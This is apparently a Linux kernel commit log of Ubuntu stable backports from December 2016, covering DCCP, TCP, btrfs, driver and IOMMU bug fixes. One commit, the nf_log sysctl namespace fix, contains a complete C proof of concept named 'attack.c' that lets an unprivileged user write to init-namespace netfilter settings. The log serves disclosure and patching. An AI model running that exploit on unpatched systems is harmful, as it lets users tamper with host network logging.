- 06 Dec, 2016 40 commits
-
-
Eric Dumazet authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit 990ff4d8 ] While fuzzing kernel with syzkaller, Andrey reported a nasty crash in inet6_bind() caused by DCCP lacking a required method. Fixes: ab1e0a13 ("[SOCK] proto: Add hashinfo member to struct proto") Signed-off-by:
Eric Dumazet <edumazet@google.com> Reported-by:
Andrey Konovalov <andreyknvl@google.com> Tested-by:
Arnaldo Carvalho de Melo <acme@redhat.com> Signed-off-by:
David S. Miller <davem@davemloft.net> Signed-off-by:
Greg Kroah-Hartman <gregkh@linuxfoundation.org> Signed-off-by:
Luis Henriques <luis.henriques@canonical.com>
-
Eric Dumazet authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit 1aa9d1a0 ] dccp_v6_err() does not use pskb_may_pull() and might access garbage. We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmpv6_notify() are more than enough. Signed-off-by:
-
Eric Dumazet authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit 6706a97f ] dccp_v4_err() does not use pskb_may_pull() and might access garbage. We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmp_socket_deliver() are more than enough. This patch might allow to process more ICMP messages, as some routers are still limiting the size of reflected bytes to 28 (RFC 792), instead of extended lengths (RFC 1812 4.3.2.3) Signed-off-by:
-
Eric Dumazet authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit 346da62c ] Andrey reported following warning while fuzzing with syzkaller WARNING: CPU: 1 PID: 21072 at net/dccp/proto.c:83 dccp_set_state+0x229/0x290 Kernel panic - not syncing: panic_on_warn set ... CPU: 1 PID: 21072 Comm: syz-executor Not tainted 4.9.0-rc1+ #293 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff88003d4c7738 ffffffff81b474f4 0000000000000003 dffffc0000000000 ffffffff844f8b00 ffff88003d4c7804 ffff88003d4c7800 ffffffff8140c06a 0000000041b58ab3 ffffffff8479ab7d ffffffff8140beae ffffffff8140cd00 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [<ffffffff81b474f4>] dump_stack+0xb3/0x10f lib/dump_stack.c:51 [<ffffffff8140c06a>] panic+0x1bc/0x39d kernel/panic.c:179 [<ffffffff8111125c>] __warn+0x1cc/0x1f0 kernel/panic.c:542 [<ffffffff8111144c>] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 [<ffffffff8389e5d9>] dccp_set_state+0x229/0x290 net/dccp/proto.c:83 [<ffffffff838a0aa2>] dccp_close+0x612/0xc10 net/dccp/proto.c:1016 [<ffffffff8316bf1f>] inet_release+0xef/0x1c0 net/ipv4/af_inet.c:415 [<ffffffff82b6e89e>] sock_release+0x8e/0x1d0 net/socket.c:570 [<ffffffff82b6e9f6>] sock_close+0x16/0x20 net/socket.c:1017 [<ffffffff815256ad>] __fput+0x29d/0x720 fs/file_table.c:208 [<ffffffff81525bb5>] ____fput+0x15/0x20 fs/file_table.c:244 [<ffffffff811727d8>] task_work_run+0xf8/0x170 kernel/task_work.c:116 [< inline >] exit_task_work include/linux/task_work.h:21 [<ffffffff8111bc53>] do_exit+0x883/0x2ac0 kernel/exit.c:828 [<ffffffff811221fe>] do_group_exit+0x10e/0x340 kernel/exit.c:931 [<ffffffff81143c94>] get_signal+0x634/0x15a0 kernel/signal.c:2307 [<ffffffff81054aad>] do_signal+0x8d/0x1a30 arch/x86/kernel/signal.c:807 [<ffffffff81003a05>] exit_to_usermode_loop+0xe5/0x130 arch/x86/entry/common.c:156 [< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190 [<ffffffff81006298>] syscall_return_slowpath+0x1a8/0x1e0 arch/x86/entry/common.c:259 [<ffffffff83fc1a62>] entry_SYSCALL_64_fastpath+0xc0/0xc2 Dumping ftrace buffer: (ftrace buffer empty) Kernel Offset: disabled Fix this the same way we did for TCP in commit 565b7b2d ("tcp: do not send reset to already closed sockets") Signed-off-by:
-
Eric Dumazet authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit ac9e70b1 ] Imagine initial value of max_skb_frags is 17, and last skb in write queue has 15 frags. Then max_skb_frags is lowered to 14 or smaller value. tcp_sendmsg() will then be allowed to add additional page frags and eventually go past MAX_SKB_FRAGS, overflowing struct skb_shared_info. Fixes: 5f74f82e ("net:Add sysctl_max_skb_frags") Signed-off-by:
-
Eli Cooper authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit 23f4ffed ] skb->cb may contain data from previous layers. In the observed scenario, the garbage data were misinterpreted as IP6CB(skb)->frag_max_size, so that small packets sent through the tunnel are mistakenly fragmented. This patch unconditionally clears the control buffer in ip6tunnel_xmit(), which affects ip6_tunnel, ip6_udp_tunnel and ip6_gre. Currently none of these tunnels set IP6CB(skb)->flags, otherwise it needs to be done earlier. Cc: stable@vger.kernel.org Signed-off-by:
Eli Cooper <elicooper@gmx.com> Signed-off-by:
-
Andy Gospodarek authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit fcdefcca ] Current bgmac code initializes some DMA settings in the receive control register for some hardware and then immediately clears those settings. Not clearing those settings results in ~420Mbps *improvement* in throughput; this system can now receive frames at line-rate on Broadcom 5871x hardware compared to ~520Mbps today. I also tested a few other values but found there to be no discernible difference in CPU utilization even if burst size and prefetching values are different. On the hardware tested there was no need to keep the code that cleared all but bits 16-17, but since there is a wide variety of hardware that used this driver (I did not look at all hardware docs for hardware using this IP block), I find it wise to move this call up and clear bits just after reading the default value from the hardware rather than completely removing it. This is a good candidate for -stable >=3.14 since that is when the code that was supposed to improve performance (but did not) was introduced. Signed-off-by:
Andy Gospodarek <gospo@broadcom.com> Fixes: 56ceecde ("bgmac: initialize the DMA controller of core...") Cc: Hauke Mehrtens <hauke@hauke-m.de> Acked-by:
Hauke Mehrtens <hauke@hauke-m.de> Signed-off-by:
-
Eric Dumazet authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit 4f2e4ad5 ] Sending zero checksum is ok for TCP, but not for UDP. UDPv6 receiver should by default drop a frame with a 0 checksum, and UDPv4 would not verify the checksum and might accept a corrupted packet. Simply replace such checksum by 0xffff, regardless of transport. This error was caught on SIT tunnels, but seems generic. Signed-off-by:
Maciej Żenczykowski <maze@google.com> Signed-off-by:
-
Eric Dumazet authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit e551c32d ] At accept() time, it is possible the parent has a non zero sk_err_soft, leftover from a prior error. Make sure we do not leave this value in the child, as it makes future getsockopt(SO_ERROR) calls quite unreliable. Signed-off-by:
Soheil Hassas Yeganeh <soheil@google.com> Signed-off-by:
-
Florian Westphal authored
BugLink: http://bugs.launchpad.net/bugs/1643637 [ Upstream commit ce6dd233 ] If a congestion control module doesn't provide .undo_cwnd function, tcp_undo_cwnd_reduction() will set cwnd to tp->snd_cwnd = max(tp->snd_cwnd, tp->snd_ssthresh << 1); ... which makes sense for reno (it sets ssthresh to half the current cwnd), but it makes no sense for dctcp, which sets ssthresh based on the current congestion estimate. This can cause severe growth of cwnd (eventually overflowing u32). Fix this by saving last cwnd on loss and restore cwnd based on that, similar to cubic and other algorithms. Fixes: e3118e83 ("net: tcp: add DCTCP congestion control algorithm") Cc: Lawrence Brakmo <brakmo@fb.com> Cc: Andrew Shewmaker <agshew@gmail.com> Cc: Glenn Judd <glenn.judd@morganstanley.com> Acked-by:
Daniel Borkmann <daniel@iogearbox.net> Signed-off-by:
Florian Westphal <fw@strlen.de> Signed-off-by:
-
Greg Kroah-Hartman authored
BugLink: http://bugs.launchpad.net/bugs/1642968Signed-off-by:
Tim Gardner <tim.gardner@canonical.com>
-
Jann Horn authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit dbb5918c upstream. nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include <stdlib.h> #include <sched.h> #include <err.h> #include <sys/mount.h> #include <sys/types.h> #include <sys/wait.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by:
Jann Horn <jann@thejh.net> Signed-off-by:
Pablo Neira Ayuso <pablo@netfilter.org> Signed-off-by:
-
Goldwyn Rodrigues authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 0b34c261 upstream. While free'ing qgroup->reserved resources, we much check if the page has not been invalidated by a truncate operation by checking if the page is still dirty before reducing the qgroup resources. Resources in such a case are free'd when the entire extent is released by delayed_ref. This fixes a double accounting while releasing resources in case of truncating a file, reproduced by the following testcase. SCRATCH_DEV=/dev/vdb SCRATCH_MNT=/mnt mkfs.btrfs -f $SCRATCH_DEV mount -t btrfs $SCRATCH_DEV $SCRATCH_MNT cd $SCRATCH_MNT btrfs quota enable $SCRATCH_MNT btrfs subvolume create a btrfs qgroup limit 500m a $SCRATCH_MNT sync for c in {1..15}; do dd if=/dev/zero bs=1M count=40 of=$SCRATCH_MNT/a/file; done sleep 10 sync sleep 5 touch $SCRATCH_MNT/a/newfile echo "Removing file" rm $SCRATCH_MNT/a/file Fixes: b9d0b389 ("btrfs: Add handler for invalidate page") Signed-off-by:
Goldwyn Rodrigues <rgoldwyn@suse.com> Reviewed-by:
Qu Wenruo <quwenruo@cn.fujitsu.com> Signed-off-by:
David Sterba <dsterba@suse.com> Signed-off-by:
-
Fabio Estevam authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit f91346e8 upstream. An interrupt may occur right after devm_request_irq() is called and prior to the spinlock initialization, leading to a kernel oops, as the interrupt handler uses the spinlock. In order to prevent this problem, move the spinlock initialization prior to requesting the interrupts. Fixes: e4243f13 (mmc: mxs-mmc: add mmc host driver for i.MX23/28) Signed-off-by:
Fabio Estevam <fabio.estevam@nxp.com> Reviewed-by:
Marek Vasut <marex@denx.de> Signed-off-by:
Ulf Hansson <ulf.hansson@linaro.org> Signed-off-by:
-
Chen-Yu Tsai authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 85915b63 upstream. When sun4i_codec_create_card fails, we do not assign a proper error code to the return value. The return value would be 0 from the previous function call, or we would have bailed out sooner. This would confuse the driver core into thinking the device probe succeeded, when in fact it didn't, leaving various devres based resources lingering. Make the create_card function pass back a meaningful error code, and assign it to the return value. Fixes: 45fb6b6f ("ASoC: sunxi: add support for the on-chip codec on early Allwinner SoCs") Signed-off-by:
Chen-Yu Tsai <wens@csie.org> Signed-off-by:
Mark Brown <broonie@kernel.org> Signed-off-by:
-
Punit Agrawal authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 806487a8 upstream. Although ghes_proc() tests for errors while reading the error status, it always return success (0). Fix this by propagating the return value. Fixes: d334a491 (ACPI, APEI, Generic Hardware Error Source memory error support) Signed-of-by:
Punit Agrawal <punit.agrawa.@arm.com> Tested-by:
Tyler Baicar <tbaicar@codeaurora.org> Reviewed-by:
Borislav Petkov <bp@suse.de> [ rjw: Subject ] Signed-off-by:
Rafael J. Wysocki <rafael.j.wysocki@intel.com> Signed-off-by:
-
Huaibin Wang authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 599b076d upstream. Order of arguments is wrong. The wrong code has been introduced by commit 7d4f8d87, but is compiled only since commit 9df70b66. Note that this may break netlink dumps. Fixes: 9df70b66 ("i40e: Remove incorrect #ifdef's") Fixes: 7d4f8d87 ("switchdev; add VLAN support for port's bridge_getlink") CC: Carolyn Wyborny <carolyn.wyborny@intel.com> Signed-off-by:
Huaibin Wang <huaibin.wang@6wind.com> Signed-off-by:
Nicolas Dichtel <nicolas.dichtel@6wind.com> Tested-by:
Andrew Bowers <andrewx.bowers@intel.com> Signed-off-by:
Jeff Kirsher <jeffrey.t.kirsher@intel.com> Signed-off-by:
-
Andrew Lutomirski authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 6d4952d9 upstream. hw_random carefully avoids using a stack buffer except in add_early_randomness(). This causes a crash in virtio_rng if CONFIG_VMAP_STACK=y. Reported-by:
Matt Mullins <mmullins@mmlx.us> Tested-by:
Andy Lutomirski <luto@kernel.org> Signed-off-by:
Herbert Xu <herbert@gondor.apana.org.au> Signed-off-by:
-
Daniel Mentz authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 62e931fa upstream. gen_pool_alloc_algo() iterates over the chunks of a pool trying to find a contiguous block of memory that satisfies the allocation request. The shortcut if (size > atomic_read(&chunk->avail)) continue; makes the loop skip over chunks that do not have enough bytes left to fulfill the request. There are two situations, though, where an allocation might still fail: (1) The available memory is not contiguous, i.e. the request cannot be fulfilled due to external fragmentation. (2) A race condition. Another thread runs the same code concurrently and is quicker to grab the available memory. In those situations, the loop calls pool->algo() to search the entire chunk, and pool->algo() returns some value that is >= end_bit to indicate that the search failed. This return value is then assigned to start_bit. The variables start_bit and end_bit describe the range that should be searched, and this range should be reset for every chunk that is searched. Today, the code fails to reset start_bit to 0. As a result, prefixes of subsequent chunks are ignored. Memory allocations might fail even though there is plenty of room left in these prefixes of those other chunks. Fixes: 7f184275 ("lib, Make gen_pool memory allocator lockless") Link: http://lkml.kernel.org/r/1477420604-28918-1-git-send-email-danielmentz@google.comSigned-off-by:
Daniel Mentz <danielmentz@google.com> Reviewed-by:
Mathieu Desnoyers <mathieu.desnoyers@efficios.com> Acked-by:
Will Deacon <will.deacon@arm.com> Signed-off-by:
Andrew Morton <akpm@linux-foundation.org> Signed-off-by:
Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by:
-
Alexander Usyskin authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 582ab27a upstream. NFC version reply size checked against only header size, not against full message size. That may lead potentially to uninitialized memory access in version data. That leads to warnings when version data is accessed: drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]: => 212:2 Reported in Build regressions/improvements in v4.9-rc3 https://lkml.org/lkml/2016/10/30/57 Fixes: 59fcd7c6 (mei: nfc: Initial nfc implementation) Signed-off-by:
Alexander Usyskin <alexander.usyskin@intel.com> Signed-off-by:
Tomas Winkler <tomas.winkler@intel.com> Signed-off-by:
-
Joerg Roedel authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit bea64033 upstream. It turns out that the disable_dmar_iommu() code-path tried to get the device_domain_lock recursivly, which will dead-lock when this code runs on dmar removal. Fix both code-paths that could lead to the dead-lock. Fixes: 55d94043 ('iommu/vt-d: Get rid of domain->iommu_lock') Signed-off-by:
Joerg Roedel <jroedel@suse.de> Signed-off-by:
-
Baoquan He authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit c3db901c upstream. The current code missed freeing domain id when free a domain of struct dma_ops_domain. Signed-off-by:
Baoquan He <bhe@redhat.com> Fixes: ec487d1a ('x86, AMD IOMMU: add domain allocation and deallocation functions') Signed-off-by:
-
Richard Genoud authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 9bcffe75 upstream. After commit 1cf6e8fc ("tty/serial: at91: fix RTS line management when hardware handshake is enabled"), the hardware handshake wasn't functional anymore on Atmel platforms (beside SAMA5D2). To understand why, one has to understand the flag ATMEL_US_USMODE_HWHS first: Before commit 1cf6e8fc ("tty/serial: at91: fix RTS line management when hardware handshake is enabled"), this flag was never set. Thus, the CTS/RTS where only handled by serial_core (and everything worked just fine). This commit introduced the use of the ATMEL_US_USMODE_HWHS flag, enabling it for all boards when the user space enables flow control. When the ATMEL_US_USMODE_HWHS is set, the Atmel USART controller handles a part of the flow control job: - disable the transmitter when the CTS pin gets high. - drive the RTS pin high when the DMA buffer transfer is completed or PDC RX buffer full or RX FIFO is beyond threshold. (depending on the controller version). NB: This feature is *not* mandatory for the flow control to work. (Nevertheless, it's very useful if low latencies are needed.) Now, the specifics of the ATMEL_US_USMODE_HWHS flag: - For platforms with DMAC and no FIFOs (sam9x25, sam9x35, sama5D3, sama5D4, sam9g15, sam9g25, sam9g35)* this feature simply doesn't work. ( source: https://lkml.org/lkml/2016/9/7/598 ) Tested it on sam9g35, the RTS pins always stays up, even when RXEN=1 or a new DMA transfer descriptor is set. => ATMEL_US_USMODE_HWHS must not be used for those platforms - For platforms with a PDC (sam926{0,1,3}, sam9g10, sam9g20, sam9g45, sam9g46)*, there's another kind of problem. Once the flag ATMEL_US_USMODE_HWHS is set, the RTS pin can't be driven anymore via RTSEN/RTSDIS in USART Control Register. The RTS pin can only be driven by enabling/disabling the receiver or setting RCR=RNCR=0 in the PDC (Receive (Next) Counter Register). => Doing this is beyond the scope of this patch and could add other bugs, so the original (and working) behaviour should be set for those platforms (meaning ATMEL_US_USMODE_HWHS flag should be unset). - For platforms with a FIFO (sama5d2)*, the RTS pin is driven according to the RX FIFO thresholds, and can be also driven by RTSEN/RTSDIS in USART Control Register. No problem here. (This was the use case of commit 1cf6e8fc ("tty/serial: at91: fix RTS line management when hardware handshake is enabled")) NB: If the CTS pin declared as a GPIO in the DTS, (for instance cts-gpios = <&pioA PIN_PB31 GPIO_ACTIVE_LOW>), the transmitter will be disabled. => ATMEL_US_USMODE_HWHS flag can be set for this platform ONLY IF the CTS pin is not a GPIO. So, the only case when ATMEL_US_USMODE_HWHS can be enabled is when (atmel_use_fifo(port) && !mctrl_gpio_to_gpiod(atmel_port->gpios, UART_GPIO_CTS)) Tested on all Atmel USART controller flavours: AT91SAM9G35-CM (DMAC flavour), AT91SAM9G20-EK (PDC flavour), SAMA5D2xplained (FIFO flavour). * the list may not be exhaustive Fixes: 1cf6e8fc ("tty/serial: at91: fix RTS line management when hardware handshake is enabled") Signed-off-by:
Richard Genoud <richard.genoud@gmail.com> Acked-by:
Alexandre Belloni <alexandre.belloni@free-electrons.com> Acked-by:
Cyrille Pitchen <cyrille.pitchen@atmel.com> Acked-by:
Uwe Kleine-König <u.kleine-koenig@pengutronix.de> [nicolas.ferre@atmel.com: adapt to 4.4.x kernel for stable by adding the atmel_port variable declaration which was missing] Signed-off-by:
Nicolas Ferre <nicolas.ferre@atmel.com> Signed-off-by:
-
Ludovic Desroches authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 95da0c19 upstream. When setting the channel configuration register, the perid field is not set to 0 since it is useless for mem2mem transfers. Unfortunately, a device has 0 as perid. It could cause spurious flags status because the controller could mix some events from the two channels. For that reason, use the highest perid value for mem2mem transfers since it doesn't match the perid of other devices. Signed-off-by:
Ludovic Desroches <ludovic.desroches@atmel.com> Acked-by:
Vinod Koul <vinod.koul@intel.com> Signed-off-by:
-
Ville Syrjälä authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 8d83bc22 upstream. The VBT provides the platform a way to mix and match the DDI ports vs. GMBUS pins. Currently we only trust the VBT for DDI E, which I suppose has no standard GMBUS pin assignment. However, there are machines out there that use a non-standard mapping for the other ports as well. Let's start trusting the VBT on this one for all ports on DDI platforms. I've structured the code such that other platforms could easily start using this as well, by simply filling in the ddi_port_info. IIRC there may be CHV system that might actually need this. v2: Include a commit message, include a debug message during init Cc: Maarten Maathuis <madman2003@gmail.com> Tested-by:
Maarten Maathuis <madman2003@gmail.com> Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97877Signed-off-by:
Ville Syrjälä <ville.syrjala@linux.intel.com> Link: http://patchwork.freedesktop.org/patch/msgid/1476208368-5710-3-git-send-email-ville.syrjala@linux.intel.comReviewed-by:
Jim Bride <jim.bride@linux.intel.com> (cherry picked from commit e4ab73a1) Signed-off-by:
Jani Nikula <jani.nikula@intel.com> Signed-off-by:
-
James Hogan authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit e1e575f6 upstream. The advancing of the PC when completing an MMIO load is done before re-entering the guest, i.e. before restoring the guest ASID. However if the load is in a branch delay slot it may need to access guest code to read the prior branch instruction. This isn't safe in TLB mapped code at the moment, nor in the future when we'll access unmapped guest segments using direct user accessors too, as it could read the branch from host user memory instead. Therefore calculate the resume PC in advance while we're still in the right context and save it in the new vcpu->arch.io_pc (replacing the no longer needed vcpu->arch.pending_load_cause), and restore it on MMIO completion. Fixes: e685c689 ("KVM/MIPS32: Privileged instruction/target branch emulation.") Signed-off-by:
James Hogan <james.hogan@imgtec.com> Cc: Paolo Bonzini <pbonzini@redhat.com> Cc: "Radim Krčmář" <rkrcmar@redhat.com> Cc: Ralf Baechle <ralf@linux-mips.org> Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Signed-off-by:
Paolo Bonzini <pbonzini@redhat.com> [james.hogan@imgtec.com: Backport to 3.18..4.4] Signed-off-by:
-
Sreekanth Reddy authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 6d3a56ed upstream. While merging mpt3sas & mpt2sas code, we added the is_warpdrive check condition on the wrong line --------------------------------------------------------------------------- scsih_target_alloc(struct scsi_target *starget) sas_target_priv_data->handle = raid_device->handle; sas_target_priv_data->sas_address = raid_device->wwid; sas_target_priv_data->flags |= MPT_TARGET_FLAGS_VOLUME; - raid_device->starget = starget; + sas_target_priv_data->raid_device = raid_device; + if (ioc->is_warpdrive) + raid_device->starget = starget; } spin_unlock_irqrestore(&ioc->raid_device_lock, flags); return 0; ------------------------------------------------------------------------------ That check should be for the line sas_target_priv_data->raid_device = raid_device; Due to above hunk, we are not initializing raid_device's starget for raid volumes, and so during raid disk deletion driver is not calling scsi_remove_target() API as driver observes starget field of raid_device's structure as NULL. Signed-off-by:
Sreekanth Reddy <Sreekanth.Reddy@broadcom.com> Fixes: 7786ab6a ("mpt3sas: Ported WarpDrive product SSS6200 support") Signed-off-by:
Martin K. Petersen <martin.petersen@oracle.com> Signed-off-by:
-
Bill Kuzeja authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit a5dd506e upstream. A system can get hung task timeouts if a qlogic board fails during initialization (if the board breaks again or fails the init). The hang involves the scsi scan. In a nutshell, since commit beb9e315 ("qla2xxx: Prevent removal and board_disable race"): ...it is possible to have freed ha (base_vha->hw) early by a call to qla2x00_remove_one when pdev->enable_cnt equals zero: if (!atomic_read(&pdev->enable_cnt)) { scsi_host_put(base_vha->host); kfree(ha); pci_set_drvdata(pdev, NULL); return; Almost always, the scsi_host_put above frees the vha structure (attached to the end of the Scsi_Host we're putting) since it's the last put, and life is good. However, if we are entering this routine because the adapter has broken sometime during initialization AND a scsi scan is already in progress (and has done its own scsi_host_get), vha will not be freed. What's worse, the scsi scan will access the freed ha structure through qla2xxx_scan_finished: if (time > vha->hw->loop_reset_delay * HZ) return 1; The scsi scan keeps checking to see if a scan is complete by calling qla2xxx_scan_finished. There is a timeout value that limits the length of time a scan can take (hw->loop_reset_delay, usually set to 5 seconds), but this definition is in the data structure (hw) that can get freed early. This can yield unpredictable results, the worst of which is that the scsi scan can hang indefinitely. This happens when the freed structure gets reused and loop_reset_delay gets overwritten with garbage, which the scan obliviously uses as its timeout value. The fix for this is simple: at the top of qla2xxx_scan_finished, check for the UNLOADING bit in the vha structure (_vha is not freed at this point). If UNLOADING is set, we exit the scan for this adapter immediately. After this last reference to the ha structure, we'll exit the scan for this adapter, and continue on. This problem is hard to hit, but I have run into it doing negative testing many times now (with a test specifically designed to bring it out), so I can verify that this fix works. My testing has been against a RHEL7 driver variant, but the bug and patch are equally relevant to to the upstream driver. Fixes: beb9e315 ("qla2xxx: Prevent removal and board_disable race") Signed-off-by:
Bill Kuzeja <william.kuzeja@stratus.com> Acked-by:
Himanshu Madhani <himanshu.madhani@cavium.com> Signed-off-by:
-
Song Hongyan authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 8af644a7 upstream. This fix makes newer ISH hubs work. Previous ones worked by lucky coincidence. Rotation sensor function does not work due to miss PM function. Add common hid sensor iio pm function for rotation sensor. Further clarification from Srinivas: If CONFIG_PM is not defined, then this prevents this sensor to function. So above commit caused this. This sensor was supposed to be always on to trigger wake up in prior external hubs. But with the new ISH hub this is not the case. Signed-off-by:
Song Hongyan <hongyan.song@intel.com> Fixes: 2b89635e ("iio: hid_sensor_hub: Common PM functions") Signed-off-by:
Jonathan Cameron <jic23@kernel.org> Signed-off-by:
-
Song Hongyan authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 6f77199e upstream. While testing, it was observed that on some platforms the scale value from iio sysfs for gyroscope is always 0 (E.g. Yoga 260). This results in the final angular velocity component values to be zeros. This is caused by insufficient precision of scale value displayed in sysfs. If the precision is changed to nano from current micro, then this is sufficient to display the scale value on this platform. Since this can be a problem for all other HID sensors, increase scale precision of all HID sensors to nano from current micro. Results on Yoga 260: name scale before scale now -------------------------------------------- gyro_3d 0.000000 0.000000174 als 0.001000 0.001000000 magn_3d 0.000001 0.000001000 accel_3d 0.000009 0.000009806 Signed-off-by:
Srinivas Pandruvada <srinivas.pandruvada@linux.intel.com> Signed-off-by:
-
Scott Wood authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 7c1c5413 upstream. The boot-time frequency of a CPU is considered its rated maximum, as we have no other source of such information. However, this was previously only used for chips with 80% restrictions on secondary PLLs. This usually wasn't a problem because most chips/configs boot with a divider of /1, with other dividers being used only for dynamic frequency reduction. However, at least one config (LS1021A at less than 1 GHz) uses a different divider for top speed. This was causing cpufreq to set a frequency beyond the chip's rated speed. This is fixed by applying a 100%-of-initial-speed limit to all CPU PLLs, similar to the existing 80% limit that only applied to some. Signed-off-by:
Scott Wood <oss@buserror.net> Signed-off-by:
Stephen Boyd <sboyd@codeaurora.org> Signed-off-by:
-
Azael Avalos authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit 1c80e960 upstream. Bug 150611 uncovered that the WMI ID used by the toshiba-wmi driver is not Toshiba specific, and as such, the driver was being loaded on non Toshiba laptops too. This patch adds a DMI matching list checking for TOSHIBA as the vendor, refusing to load if it is not. Also the WMI GUID was renamed, dropping the TOSHIBA_ prefix, to better reflect that such GUID is not a Toshiba specific one. Signed-off-by:
Azael Avalos <coproscefalo@gmail.com> Signed-off-by:
Darren Hart <dvhart@linux.intel.com> Signed-off-by:
-
Richard Weinberger authored
BugLink: http://bugs.launchpad.net/bugs/1642968 commit d8e9e5e8 upstream. Don't pass a size larger than iov_len to kernel_sendmsg(). Otherwise it will cause a NULL pointer deref when kernel_sendmsg() returns with rv < size. DRBD as external module has been around in the kernel 2.4 days already. We used to be compatible to 2.4 and very early 2.6 kernels, we used to use rv = sock_sendmsg(sock, &msg, iov.iov_len); then later changed to rv = kernel_sendmsg(sock, &msg, &iov, 1, size); when we should have used rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len); tcp_sendmsg() used to totally ignore the size parameter. 57be5bda ip: convert tcp_sendmsg() to iov_iter primitives changes that, and exposes our long standing error. Even with this error exposed, to trigger the bug, we would need to have an environment (config or otherwise) causing us to not use sendpage() for larger transfers, a failing connection, and have it fail "just at the right time". Apparently that was unlikely enough for most, so this went unnoticed for years. Still, it is known to trigger at least some of these, and suspected for the others: [0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html [1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html [2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546 [3] https://ubuntuforums.org/showthread.php?t=2336150 [4] http://e2.howsolveproblem.com/i/1175162/ This should go into 4.9, and into all stable branches since and including v4.0, which is the first to contain the exposing change. It is correct for all stable branches older than that as well (which contain the DRBD driver; which is 2.6.33 and up). It requires a small "conflict" resolution for v4.4 and earlier, with v4.5 we dropped the comment block immediately preceding the kernel_sendmsg(). Fixes: b411b363 ("The DRBD driver") Cc: viro@zeniv.linux.org.uk Cc: christoph.lechleitner@iteg.at Cc: wolfgang.glas@iteg.at Reported-by:
Christoph Lechleitner <christoph.lechleitner@iteg.at> Tested-by:
Richard Weinberger <richard@nod.at> [changed oneliner to be "obvious" without context; more verbose message] Signed-off-by:
Lars Ellenberg <lars.ellenberg@linbit.com> Signed-off-by:
Jens Axboe <axboe@fb.com> Signed-off-by:
-
Felipe Balbi authored
